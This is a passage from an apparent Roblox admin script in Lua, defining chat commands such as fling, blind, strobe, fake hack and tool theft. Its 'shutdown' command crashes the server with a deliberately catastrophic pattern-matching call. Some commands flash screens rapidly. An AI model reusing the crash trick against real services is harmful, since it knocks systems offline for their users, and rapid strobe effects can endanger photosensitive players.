  5301. [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
  5302. local Players = STRING:Scan(Arguments[1], Speaker)
  5303. for _,Player in pairs(Players) do
  5304. if Player.Character ~= nil then
  5305. if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
  5306. if Player.Character.Torso:FindFirstChild("Neck") then
  5307. Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  5308. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  5309. Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor))
  5310. local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
  5311. local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
  5312. end
  5313. end
  5314. end
  5315. end
  5316. end};
  5317.  
  5318. [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
  5319. local Players = STRING:Scan(Arguments[1], Speaker)
  5320. for _,Player in pairs(Players) do
  5321. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
  5322. Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  5323. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  5324. end
  5325. end
  5326. end};
  5327.  
  5328. [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
  5329. local Players = STRING:Scan(Arguments[1], Speaker)
  5330. for _,Player in pairs(Players) do
  5331. local _,RankNum = RANK:GetRank(Player)
  5332. if RankNum <= RANK:ConvertRank(Rank) then
  5333. CORE:FlingPlayer(Player)
  5334. end
  5335. end
  5336. end};
  5337.  
  5338. [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
  5339. local Players = STRING:Scan(Arguments[1], Speaker)
  5340. for _,Player in pairs(Players) do
  5341. local _,RankNum = RANK:GetRank(Player)
  5342. if RankNum <= RANK:ConvertRank(Rank) then
  5343. Flings[Player.Name] = true
  5344. CORE:FlingPlayer(Player)
  5345. end
  5346. end
  5347. end};
  5348.  
  5349. [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
  5350. local Players = STRING:Scan(Arguments[1], Speaker)
  5351. for _,Player in pairs(Players) do
  5352. local _,RankNum = RANK:GetRank(Player)
  5353. if RankNum <= RANK:ConvertRank(Rank) then
  5354. Flings[Player.Name] = nil
  5355. end
  5356. end
  5357. end};
  5358.  
  5359. [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5360. local Players = STRING:Scan(Arguments[1], Speaker)
  5361. for _,Player in pairs(Players) do
  5362. CORE:Nuke(Player)
  5363. end
  5364. end};
  5365.  
  5366. [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5367. local Players = STRING:Scan(Arguments[1], Speaker)
  5368. for _,Player in pairs(Players) do
  5369. Beeps[Player.Name] = true
  5370. SOUND:BeepPlayer(Player)
  5371. end
  5372. end};
  5373.  
  5374. [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5375. local Players = STRING:Scan(Arguments[1], Speaker)
  5376. for _,Player in pairs(Players) do
  5377. if Player.PlayerGui then
  5378. Beeps[Player.Name] = nil
  5379. for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
  5380. if Obj.Name == "Annoy" then
  5381. Obj:Stop()
  5382. Obj:Destroy()
  5383. end
  5384. end
  5385. end
  5386. end
  5387. end};
  5388.  
  5389. [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
  5390. local Time = Arguments[1]
  5391. if Time == "day" or Time == "noon" then Time = "12" end
  5392. if Time == "night" or Time == "midnight" then Time = "0" end
  5393. if Time == "dawn" or Time == "morning" then Time = "6:15" end
  5394. if Time == "dusk" or Time == "evening" then Time = "17:45" end
  5395. if Time == "afternoon" then Time = "15:30" end
  5396. ypcall(function() Server.Lighting.TimeOfDay = Time end)
  5397. end};
  5398.  
  5399. [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
  5400. local Players = STRING:Scan(Arguments[1], Speaker)
  5401. for _,Player in pairs(Players) do
  5402. MARKET:PromptPurchase(Player, Arguments[2], Speaker)
  5403. end
  5404. end};
  5405.  
  5406. [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  5407. local AbuseMode = false
  5408. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  5409. local Players = STRING:Scan(Arguments[1], Speaker)
  5410. for _,Player in pairs(Players) do
  5411. CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  5412. end
  5413. end};
  5414.  
  5415. [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
  5416. local Players = STRING:Scan(Arguments[1], Speaker)
  5417. for _,Player in pairs(Players) do
  5418. CORE:Insert(125013769, Player.Backpack, true)
  5419. end
  5420. end};
  5421.  
  5422. [{"hat"}] = {"player ID", "Gives player the hat with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  5423. local Players = STRING:Scan(Arguments[1], Speaker)
  5424. for _,Player in pairs(Players) do
  5425. if Player.Character then
  5426. CORE:Insert(Arguments[2], Player.Character, true, {"Hat"})
  5427. end
  5428. end
  5429. end};
  5430.  
  5431. [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
  5432. CORE:ResetLighting()
  5433. repeat
  5434. Server.Lighting.Ambient = Color3.new(1,1,1)
  5435. Server.Lighting.FogColor = Color3.new(1,1,1)
  5436. Server.Lighting.Brightness = 1
  5437. Server.Lighting.TimeOfDay = 14
  5438. wait(0.1)
  5439. Server.Lighting.Ambient = Color3.new(0,0,0)
  5440. Server.Lighting.FogColor = Color3.new(0,0,0)
  5441. Server.Lighting.Brightness = 0
  5442. Server.Lighting.TimeOfDay = 0
  5443. wait(0.1)
  5444. until ModLighting == false
  5445. end};
  5446.  
  5447. [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
  5448. CORE:ResetLighting()
  5449. repeat
  5450. local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  5451. Server.Lighting.Ambient = Color
  5452. Server.Lighting.FogColor = Color
  5453. Server.Lighting.TimeOfDay = 0
  5454. Server.Lighting.FogEnd = 500
  5455. wait(0.1)
  5456. until ModLighting == false
  5457. end};
  5458.  
  5459. [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
  5460. CORE:FixLighting()
  5461. end};
  5462.  
  5463. [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
  5464. local Players = STRING:Scan(Arguments[1], Speaker)
  5465. for _,Player in pairs(Players) do
  5466. if Player:FindFirstChild("PlayerGui") then
  5467. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  5468. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  5469. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
  5470. coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
  5471. end
  5472. end
  5473. end};
  5474.  
  5475. [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
  5476. local Players = STRING:Scan(Arguments[1], Speaker)
  5477. for _,Player in pairs(Players) do
  5478. if Player:FindFirstChild("PlayerGui") then
  5479. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  5480. end
  5481. end
  5482. end};
  5483.  
  5484. [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
  5485. local Players = STRING:Scan(Arguments[1], Speaker)
  5486. for _,Player in pairs(Players) do
  5487. if Player:FindFirstChild("PlayerGui") then
  5488. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  5489. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  5490. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
  5491. end
  5492. end
  5493. end};
  5494.  
  5495. [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5496. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.userId)
  5497. if Suc then
  5498. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
  5499. else
  5500. Server.TS:Teleport(game.PlaceId, Speaker)
  5501. end
  5502. end};
  5503.  
  5504. [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Member", false, function(Speaker, Rank, Arguments)
  5505. GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
  5506. end};
  5507.  
  5508. [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
  5509. local Players = STRING:Scan(Arguments[1], Speaker)
  5510. for _,Player in pairs(Players) do
  5511. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  5512. Player.Character.Humanoid.MaxHealth = math.huge
  5513. Player.Character.Humanoid.Health = math.huge
  5514. end
  5515. end
  5516. end};
  5517.  
  5518. [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
  5519. local Players = STRING:Scan(Arguments[1], Speaker)
  5520. for _,Player in pairs(Players) do
  5521. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  5522. if Player.Character.Humanoid.MaxHealth == math.huge then
  5523. Player.Character.Humanoid.MaxHealth = 100
  5524. Player.Character.Humanoid.Health = 100
  5525. else
  5526. Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
  5527. end
  5528. end
  5529. end
  5530. end};
  5531.  
  5532. [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
  5533. local Players = STRING:Scan(Arguments[1], Speaker)
  5534. for _,Player in pairs(Players) do
  5535. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  5536. local Char = Player.Character
  5537. repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
  5538. end
  5539. end
  5540. end};
  5541.  
  5542. [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  5543. if tonumber(Arguments[2]) then
  5544. local Players = STRING:Scan(Arguments[1], Speaker)
  5545. for _,Player in pairs(Players) do
  5546. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  5547. Player.Character.Humanoid.Health = Arguments[2]
  5548. end
  5549. end
  5550. end
  5551. end};
  5552.  
  5553. [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  5554. if tonumber(Arguments[2]) then
  5555. local Players = STRING:Scan(Arguments[1], Speaker)
  5556. for _,Player in pairs(Players) do
  5557. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  5558. Player.Character.Humanoid.WalkSpeed = Arguments[2]
  5559. end
  5560. end
  5561. end
  5562. end};
  5563.  
  5564. [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
  5565. if tonumber(Arguments[2]) then
  5566. local Players = STRING:Scan(Arguments[1], Speaker)
  5567. for _,Player in pairs(Players) do
  5568. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  5569. Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
  5570. end
  5571. end
  5572. end
  5573. end};
  5574.  
  5575. [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
  5576. local Players = STRING:Scan(Arguments[1], Speaker)
  5577. for _,Player in pairs(Players) do
  5578. CORE:Fly(Player, 10000)
  5579. end
  5580. end};
  5581.  
  5582. [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
  5583. local Players = STRING:Scan(Arguments[1], Speaker)
  5584. for _,Player in pairs(Players) do
  5585. CORE:Fly(Player, 1000000)
  5586. end
  5587. end};
  5588.  
  5589. [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  5590. local Players = STRING:Scan(Arguments[1], Speaker)
  5591. for _,Player in pairs(Players) do
  5592. if Player.Character then
  5593. if Player.Character:FindFirstChild("StopLMMFly") then
  5594. Player.Character.StopLMMFly:InvokeClient(Player)
  5595. end
  5596. end
  5597. end
  5598. end};
  5599.  
  5600. [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5601. ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},Packages
  5602. GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
  5603. end};
  5604.  
  5605. [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
  5606. local Players = STRING:Scan(Arguments[1], Speaker)
  5607. for _,Player in pairs(Players) do
  5608. CORE:GiveTools(Player, Arguments[2])
  5609. end
  5610. end};
  5611.  
  5612. [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
  5613. local List = {}
  5614. for _,Region in pairs(ToolRegions) do
  5615. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  5616. table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
  5617. end)
  5618. end
  5619.  
  5620. GUI:ListGui(Speaker, "Tool list", List, 73589272)
  5621. end};
  5622.  
  5623. [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
  5624. local Players = STRING:Scan(Arguments[1], Speaker)
  5625. for _,Player in pairs(Players) do
  5626. CORE:GiveTools(Player, "btools")
  5627. end
  5628. end};
  5629.  
  5630. [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5631. for _,Player in pairs(Server.Players:GetPlayers()) do
  5632. Player:Kick()
  5633. end
  5634. Server.Workspace:ClearAllChildren()
  5635. string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
  5636. end};
  5637.  
  5638. [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  5639. local Players = STRING:Scan(Arguments[1], Speaker)
  5640. for _,Player in pairs(Players) do
  5641. CORE:Scale(Player, Arguments[2])
  5642. end
  5643. end};
  5644.  
  5645. [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
  5646. local Players = STRING:Scan(Arguments[1], Speaker)
  5647. for _,Player in pairs(Players) do
  5648. CORE:Scale(Player, 50)
  5649. end
  5650. end};
  5651.  
  5652. [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
  5653. local Players = STRING:Scan(Arguments[1], Speaker)
  5654. for _,Player in pairs(Players) do
  5655. CORE:Scale(Player, 70)
  5656. end
  5657. end, Hidden = true};
  5658.  
  5659. [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
  5660. local Players = STRING:Scan(Arguments[1], Speaker)
  5661. for _,Player in pairs(Players) do
  5662. CORE:Scale(Player, 500)
  5663. end
  5664. end};
  5665.  
  5666. [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
  5667. local Players = STRING:Scan(Arguments[1], Speaker)
  5668. for _,Player in pairs(Players) do
  5669. if Player.Character then
  5670. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  5671. Obj.Reflectance = 0.5
  5672. Obj.BrickColor = BrickColor.new("New Yeller")
  5673. end)
  5674. end
  5675. end
  5676. end};
  5677.  
  5678. [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
  5679. local Players = STRING:Scan(Arguments[1], Speaker)
  5680. for _,Player in pairs(Players) do
  5681. if Player.Character then
  5682. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  5683. Obj.Reflectance = 0.5
  5684. end)
  5685. end
  5686. end
  5687. end};
  5688.  
  5689. [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
  5690. local Players = STRING:Scan(Arguments[1], Speaker)
  5691. for _,Player in pairs(Players) do
  5692. if Player.Character then
  5693. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  5694. Obj.Transparency = 0.5
  5695. Obj.Reflectance = 0
  5696. Obj.BrickColor = BrickColor.new("Institutional white")
  5697. end)
  5698. CORE:ScanItems(Player.Character, {"Texture", "Decale"}, function(Obj)
  5699. Obj.Transparency = 0.5
  5700. end)
  5701. end
  5702. end
  5703. end};
  5704.  
  5705. [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
  5706. local Players = STRING:Scan(Arguments[1], Speaker)
  5707. for _,Player in pairs(Players) do
  5708. if Player.Character then
  5709. for _,Obj in pairs(Player.Character:GetChildren()) do
  5710. local Valid = false
  5711. for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  5712. if Valid == true then Obj:Destroy() end
  5713. end
  5714. end
  5715. end
  5716. end};
  5717.  
  5718. [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
  5719. local Players = STRING:Scan(Arguments[1], Speaker)
  5720. for _,Player in pairs(Players) do
  5721. if Player.Character then
  5722. for _,Obj in pairs(Player.Character:GetChildren()) do
  5723. local Valid = false
  5724. for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
  5725. if Valid == true then Obj:Destroy() end
  5726. end
  5727. end
  5728. end
  5729. end};
  5730.  
  5731. [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
  5732. local Players = STRING:Scan(Arguments[1], Speaker)
  5733. for _,Player in pairs(Players) do
  5734. if Player.Character then
  5735. for _,Obj in pairs(Player.Character:GetChildren()) do
  5736. local Valid = false
  5737. for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  5738. if Valid == true then Obj:Destroy() end
  5739. end
  5740. end
  5741. end
  5742. end};
  5743.  
  5744. [{"nohats", "nohat"}] = {"player", "Removes player's hats", 1, "Member", false, function(Speaker, Rank, Arguments)
  5745. local Players = STRING:Scan(Arguments[1], Speaker)
  5746. for _,Player in pairs(Players) do
  5747. if Player.Character then
  5748. for _,Obj in pairs(Player.Character:GetChildren()) do
  5749. if Obj:IsA("Hat") then
  5750. Obj:Destroy()
  5751. end
  5752. end
  5753. end
  5754. end
  5755. end};
  5756.  
  5757. [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
  5758. local Players = STRING:Scan(Arguments[1], Speaker)
  5759. for _,Player in pairs(Players) do
  5760. Player:ClearCharacterAppearance()
  5761. end
  5762. end};
  5763.  
  5764. [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  5765. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  5766. local TmpPlayers = {}
  5767. local Output = {}
  5768. for _,Data in pairs(Players) do
  5769. table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserID.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
  5770. end
  5771. GUI:ListGui(Speaker, "Player Database", Output, 120563622)
  5772. end};
  5773.  
  5774. [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5775. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  5776. GUI:SendHint(Speaker, "Player Database cleared", 5)
  5777. end};
  5778.  
  5779. [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
  5780. local Players = STRING:Scan(Arguments[1], Speaker)
  5781. for _,Player in pairs(Players) do
  5782. GUI:FakeHack(Player)
  5783. end
  5784. end};
  5785.  
  5786. [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  5787. local Players = STRING:Scan(Arguments[1], Speaker)
  5788. for _,Player in pairs(Players) do
  5789. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  5790. for _,Object in pairs(Player.Backpack:GetChildren()) do
  5791. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  5792. local Clone = Object:Clone()
  5793. Clone.Parent = Speaker.Backpack
  5794. end
  5795. end
  5796. end
  5797. end
  5798. end};
  5799.  
  5800. [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  5801. local Players = STRING:Scan(Arguments[1], Speaker)
  5802. for _,Player in pairs(Players) do
  5803. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  5804. for _,Object in pairs(Player.Backpack:GetChildren()) do
  5805. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  5806. Object.Parent = Speaker.Backpack
  5807. end
  5808. end
  5809. end
  5810. end
  5811. end};
  5812.  
  5813. [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5814. local Players = STRING:Scan(Arguments[1], Speaker)
  5815. for _,Player in pairs(Players) do
  5816. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  5817. for _,Object in pairs(Speaker.Backpack:GetChildren()) do
  5818. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  5819. local Clone = Object:Clone()
  5820. Clone.Parent = Player.Backpack
  5821. end
  5822. end
  5823. end
  5824. end
  5825. end};
  5826.  
  5827. [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
  5828. local Players = STRING:Scan(Arguments[1], Speaker)
  5829. for _,Player in pairs(Players) do
  5830. if Player:FindFirstChild("Backpack") then
  5831. Player.Backpack:ClearAllChildren()
  5832. end
  5833. if Player.Character ~= nil then
  5834. for _,Obj in pairs(Player.Character:GetChildren()) do
  5835. if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
  5836. Obj:Destroy()
  5837. end
  5838. end
  5839. end
  5840. end
  5841. end};
  5842.  
  5843. [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
  5844. local Players = STRING:Scan(Arguments[1], Speaker)
  5845. for _,Player in pairs(Players) do
  5846. if Player.Character then
  5847. if Player.Character:FindFirstChild("Head") then
  5848. if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
  5849. coroutine.wrap(function()
  5850. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  5851. local OldFace = Player.Character.Head.face.Texture
  5852. Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
  5853. Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
  5854. Player.Character.Head.face.Texture = "rbxassetid://24067663"
  5855. local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
  5856. Sound:Play()
  5857. coroutine.wrap(function() for i = 1,100 do wait()
  5858. local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
  5859. coroutine.wrap(function() wait(3) Part:Destroy() end)()
  5860. end
  5861. Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
  5862. end end
  5863. end)()
  5864. end
  5865. end
  5866. end
  5867. end
  5868. end};
  5869.  
  5870. [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
  5871. local Players = STRING:Scan(Arguments[1], Speaker)
  5872. for _,Player in pairs(Players) do
  5873. if Player.Character then
  5874. if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
  5875. coroutine.wrap(function()
  5876. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  5877. local OldFace = Player.Character.Head.face.Texture
  5878. local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
  5879. local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
  5880. local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
  5881. Player.Character.Head.face.Texture = "rbxassetid://28118994"
  5882. local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
  5883. Sound:Play()
  5884. wait(1)
  5885. Smoke.Enabled = false
  5886. wait(1)
  5887. Fart:Destroy()
  5888. Fart:Destroy()
  5889. Player.Character.Head.face.Texture = OldFace
  5890. end end
  5891. end)()
  5892. end
  5893. end
  5894. end
  5895. end};
  5896.  
  5897. [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
  5898. local Players = STRING:Scan(Arguments[1], Speaker)
  5899. for _,Player in pairs(Players) do
  5900. if Player:FindFirstChild("Backpack") then
  5901. CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
  5902. end
  5903. end
  5904. end};
  5905.  
  5906. [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
  5907. local Players = STRING:Scan(Arguments[1], Speaker)
  5908. for _,Player in pairs(Players) do
  5909. if Player.Character and Player.Character:FindFirstChild("Torso") then
  5910. local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
  5911. Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
  5912. end
  5913. end
  5914. end};
  5915.  
  5916. [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
  5917. local Players = STRING:Scan(Arguments[1], Speaker)
  5918. for _,Player in pairs(Players) do
  5919. if Player.Character and Player.Character:FindFirstChild("Torso") then
  5920. local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
  5921. Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
  5922. end
